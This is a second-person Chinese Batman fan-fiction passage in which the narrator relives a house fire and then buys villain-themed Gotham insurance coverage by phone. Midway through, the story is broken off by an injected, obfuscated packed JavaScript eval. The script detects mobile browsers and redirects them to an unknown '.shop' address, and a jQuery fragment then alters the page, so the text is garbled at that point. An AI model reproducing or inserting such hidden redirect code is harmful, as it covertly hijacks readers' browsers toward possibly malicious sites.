夜已经很深了。
你躺在韦恩大厦的客房里，天花板高得不像是为睡眠而存在的高度。灯已经关掉，只剩下窗外钻石区的光，一格一格地落进来，冷白、稳定、毫不关心此刻是否有人失眠。床很软，柔软到你的身体没有明确的支点，像是被一片安静托住。
你闭上眼睛，却没有睡意。
记忆宫殿在这个时候自行开启。
你从气味开始。
火的味道比你想象中要复杂。不是单纯的烧焦，而是一层层叠上来的残留。最外面是黑色的、干裂的苦味，像被烧过的木头。再往里，是潮湿的土腥气，温棚里浇水后的那种味道，被热度逼迫着翻出来。最深处，有一点尖锐的化学感，短暂、刺鼻，在鼻腔里停留得不久，却足够让人不安。
你在记忆里重新站在街口，意识到自己当时并没有立刻联想到“家”。你的第一反应不是恐惧，而是确认。你在辨别那是不是一场已经结束的火，是不是还在蔓延，是不是会再一次发生。你的身体比情绪更早进入工作状态。
接着是声音。
警灯的鸣响不是一声，而是反复切割空气的节奏。消防车的引擎低低地轰着，像一头伏在地上的兽，持续而耐心。水管在地面拖行，发出湿重的摩擦声。你记得那些声音在你耳边叠加，却并不混乱，它们各自占据不同的频段。
更近的地方，是人的声音。
“听说是从里面炸开的。”
“不是电路问题。”
“你看那墙，像是被什么东西撑开过。”
“我刚才看见叶子了，绿得不对劲。”
这些话像碎片，被人随意抛出来，又在空中相互碰撞。你当时没有参与任何一句，却把每一个词都记了下来。它们在你脑子里并不吵闹，安静地排着队。
然后是光。
红色与蓝色交替落在墙面上，把熟悉的街道切成陌生的形状。你看见那些光打在你曾经每天进出的门口，看见它们滑过窗框，落在破碎的玻璃上。碎片反射出细小的亮点，像一层透过夜空斑驳云层的星星。
你记得自己站在警戒线外，距离刚好，不近也不远。冷风从街口吹过来，贴着皮肤走。你抓着外套的袖口，布料在指节下起了轻微的褶皱。那是你唯一一次意识到自己在用力。
最后，是画面本身。
那栋楼安静地站在那里，像一个被突然打断的句子。外墙被熏黑，却并不均匀。有一道痕迹从下往上延伸，有着明确行径的方向感，在某个拐角处出现了短暂的聚集，又继续向上。那不是烟留下的痕迹。烟会散开，会模糊边界，而那条线条清晰得近乎刻意。
你在记忆宫殿里停在这一幕前，慢慢把它拆解。
你想起温棚。想起那些叶片边缘过于规整的植物，想起它们生长的速度，想起帕米拉抱着它们时那种小心翼翼却笃定的姿态。她谈起光照和湿度时的倒背如流。
你当时觉得那是热爱。
你把第一次见她的细节重新摆出来。她对校园路线的熟悉，她对某些区域的自然关注，她在你面前展现出的恰到好处的无助。每一个细节单独存在时都很合理，合理到不值得怀疑。可当它们并排放在一起，就显得太顺了。
顺到像是被提前计算过。
你忽然明白自己在这条线里的位置。
你是连接点。你是被选中的路径。你拥有合法的身份、合理的存在感，你的出现不会引发任何额外的注意。你陪她走过的那些地方，你帮她搬运的那些东西，你为她争取到的那些短暂停留，全都没有越界，却刚好够用。
这个认知并不剧烈，却很沉重，落在你胸口，让你呼吸变慢。
你在床上睁开眼，黑暗依旧。房间安静得过分，仿佛与几个小时前的混乱属于两个世界。你伸手拿起手机，屏幕亮起的一瞬间，光线刺得你眯了下眼。
你把手机屏幕调到最低亮度，指尖在通讯录里滑了一下，停在“保险公司客服”那一行。这个号码在你眼里和急救电话差不多，区别只在于前者负责把世界的荒诞翻译成表格，后者负责把表格里漏掉的那部分人抬走。
钻石区的夜色像一块压平的玻璃，窗外灯火规整，室内安静到可以听见空调送风的细响。你躺在客房的床上，意识却回到考文垂那条街：焦糊味、警灯、湿冷的风、被踩碎的叶片。那一整套体验在你的记忆宫殿里亮得刺眼，你把它关上门，转身去处理另一个更现实的问题。
保险。
这里是美国为数不多不强制要求居民购买人寿保险、综合灾害险或长期财产险的城市之一。
你按下拨号键。
嘟——
电话接通得出乎意料地快，像对方一直等着这座城市的居民投降。
“晚上好，欢迎致电哥谭都会综合保险服务中心。本通话可能被录音，用于提升服务质量与用于任何你想象得到的法律程序。请问需要查询保单、理赔、追加保障、还是紧急反派事件咨询？”
对方的语气平稳，甚至带着一点训练出来的亲切。你听出那种长期面对灾难后才会形成的职业温柔——不抬高、不悲悯、不惊讶，把一切当作常规。
你把手机贴近耳边，声音压得很低：“追加保障。租房，财产与居住可用性。”
对面停顿了半秒，键盘声像雨点一样落下。
“好的，请提供姓名、地址，以及本次追加的反派组合。”
你眨了一下眼。
哥谭的保险从来不靠“意外险”撑门面，靠“反派组合”吃饭。风险在这里具备名字，名字具备价格，价格具备季节性浮动。你在这座城市生活了一段时间，已经学会把世界当成一张每一道菜都写着过敏源的菜单。
“组合？”你问。
“Pick 4 或 Pick 5。”客服很自然地解释，“四选方案覆盖基础事件。五选方案覆盖基础事件、二次损害、以及媒体围观导致的精神损耗补偿。另有配套 Rider，涵盖蝙蝠灯照射导致的睡眠质量下降、巡逻车辆噪音影响、以及邻居持续尖叫产生的听力疲劳。”
你听见自己轻轻笑了一声，笑意在喉咙里停住，没有完全放出来。你想到那栋楼外的围观人群，想到他们举着手机拍摄的样子，想到每一束镜头都像在火上加油。
“我选 Pick 4。”你说。
“明智的选择。请问四位成员是？”
你在心里像翻阅一份已经写好的清单。你需要覆盖的风险很明确：你住过的房子出现了火、出现了结构性破坏、出现了异常生物反应。你手里没有足够多的余钱去和每一种可能性纠缠，你需要一条快速、直接、能在条款里落笔的路径。
“第一位：杀手鳄。”你说。
客服的键盘声顿了一下，像对这个选项表示职业上的认可。
“水管相关？”她确认。
“水管相关。”你把原因讲得很实在，“我住的区域管网老旧，洪水、倒灌、下水道反涌，足够让一个房间在二十分钟里报废。墙体发霉、家具泡坏、电器短路，后续损失持续扩散。”
你甚至想到考文垂那条街的排水口，想到消防水混着泥浆流动时的味道。杀手鳄听起来像个笑话，落在理赔条款里却很接地气：水是最擅长钻缝的东西，水会把一切变成长期问题。
“已记录：Killer Croc（Plumbing/Water Damage）。”客服的声音像在盖章，“第二位？”
“小丑。”你说。
对面几乎没有停顿：“爆炸与纵火。”
“爆炸与纵火。”你重复一次，像念出一个人人都懂的常识。哥谭的居民在小丑面前保持一种奇怪的默契：预算可以缩，食物可以省，小丑条款最好常驻。你脑中闪过火光和碎玻璃的画面，闪过警灯切割墙面时那种不真实的颜色。
“第三位：Clayface。”你说。
客服这次停顿得更长，像在脑内自动调出对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116920|195924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应条款的附录页。
“承重结构破坏？”她问。
“承重结构破坏。”你说，“墙体、楼板、梁柱的形变，结构性裂缝，楼梯间坍塌风险。修复周期长，搬离成本高，居住可用性直接归零。”
你说到最后四个字的时候，喉咙里有一点涩。你曾经在那栋楼里走过无数次楼梯，摸黑也能找到转角。那条路径如今断在火里，断在你无法进入的警戒线后面。
客服把这条录入，语气依旧平稳：“Clayface（Structural/Load-Bearing Damage）。第四位？”
你指尖在床单上轻轻划了一下。布料的触感干净，柔软，带着钻石区专属的“被照顾过”的味道。你想到自己此刻躺在迪克的公寓里，想到这里的窗玻璃完整，墙体稳定，灯光柔和。你知道这份安稳与考文垂完全不同，知道自己在这里停留的时间需要被控制。
“稻草人。”你说。
客服的声音里第一次出现了某种近似于“终于”的情绪，像她在等你念出这个名字。
“毒气、恐惧毒素、空气污染导致居住不可用。”她念得很熟，“覆盖范围包括室内净化、专业除污、衣物与织物全面更换、以及临时安置。请问需要追加心理慰藉补偿 Rider？”
你想象了一下“心理慰藉补偿”的评估流程：理赔员端坐在办公室里，要求你证明自己在恐惧面前保持了哪一种表情，要求你提交睡眠记录与噩梦频率图表。你把这个画面放进脑子里，像往一杯水里放了一片柠檬，酸意轻轻浮上来。
“Rider 先放着。”你说，“我先把基础覆盖做起来。”
“已记录：Scarecrow（Gas/Uninhabitable）。恭喜你完成 Pick 4 组合。”客服的语气带着一种微妙的仪式感，“系统将为你生成本年度风险预估。请注意，组合生效后，哥谭警局发布的反派活跃度报告会影响月度保费。万圣节与年度慈善晚宴季属于高峰期，保费浮动符合市场逻辑。”
“市场逻辑。”你轻声重复。
你想到自己在阿卡姆的工资。十五美元一小时。这个数字放在哥谭的“市场逻辑”里显得朴素，甚至温顺。好处在于稳定，坏处在于稳定得像一根绷紧的线。奖学金的余额已经露出边界，你很清楚接下来的每一步都需要算计：临时住处的押金、通勤增加的时间、理赔过程中可能出现的空窗期。
“请问需要将地址更新为临时安置地址吗？”客服问。
你抬眼看了看客房的天花板。平整、干净、没有裂缝。你想到这套公寓的尺度，想到门禁与电梯的隔绝掉的嘈杂。你在这里有一张床，有一扇窗，有一段可以把自己从混乱里捞出来的时间。
你也知道自己不能在这里停得太久。
你需要把生活的重心拉回自己的手里。你需要回到那些需要你承担、需要你支付、需要你安排的现实里。迪克的公寓提供的是喘息，不是归属。归属需要你用自己的节奏搭建。
“先不更新。”你说，“我会很快找到新的住处。”
客服像听惯了这种承诺，语气依旧平稳：“了解。保单更新将发送至你的邮箱。理赔与追加保障的相关材料清单将同步附上。请你保留现场照片、警方报告编号、消防部门事故说明、以及房东或物业的书面声明。祝你今夜安稳。”
电话挂断。
屏幕暗下去的瞬间，你的房间又回到那种几乎完美的安静。你把手机放到床头柜上，指尖停了几秒，像确认一件东西确实落在了它该落的位置。
窗外的灯火依旧稳定。
你闭上眼睛，意识里浮现出明天的清单：找房、联系房东、整理文件、继续上班。
你重新躺下，听着远处城市稳定的呼吸声。钻石区的夜没有火，没有烟，没有人群。可你的记忆宫殿里，警灯仍在闪，碎玻璃仍在地上发光，那股潮湿的土腥气停留在鼻腔深处，没有散去。